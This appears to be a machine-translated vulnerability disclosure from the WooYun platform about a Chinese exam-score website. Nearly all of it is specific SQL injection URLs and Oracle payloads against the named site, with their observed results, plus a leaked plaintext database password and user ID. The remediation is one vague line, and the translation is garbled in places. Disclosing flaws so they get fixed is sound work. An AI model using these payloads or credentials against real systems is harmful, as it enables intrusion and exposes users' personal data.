99 dormitory injection can cause information leakage

Dormitory 99 is the place for querying the scores of level 4 and Level 6. The website uses the oracle database and there are injections. The information in the period is very large. If the data is leaked, you can understand.
Detailed description:
Http://tkk.99sushe.com/coursecommentlist.aspx? Id = 51
Http://tkk.99sushe.com/columncontentlist.aspx? Injection exists for id = 48
 
In addition, improper configuration causes the Database User Password to be leaked during visual traversal.
Http://tkk.99sushe.com/log/20120317.txt
Password = dorm2008guichuangdb; User ID = DORMDBUSER; Data Source = aixdormdb;
Proof of vulnerability:
Http://tkk.99sushe.com/columncontentlist.aspx? Id = 48% 20and % 20 (select % 20 count (*) % 20 from % 20user_tab_columns % 20 where % 20table_name % 20 like % 20' % 25 USER % 25' % 20and % 20column_name % 20 like % 20' % 25 USERNAME % 25 ') % 3E19 -- the returned result indicates that the USER table exists.
 
Http://tkk.99sushe.com/coursecommentlist.aspx? Id = 51 order by 13 --; Error
Http://tkk.99sushe.com/coursecommentlist.aspx? Id = 51 order by 12 --; 12 tables exist correctly
Solution:
Filter set permissions

Author m4kar0f @ wooyun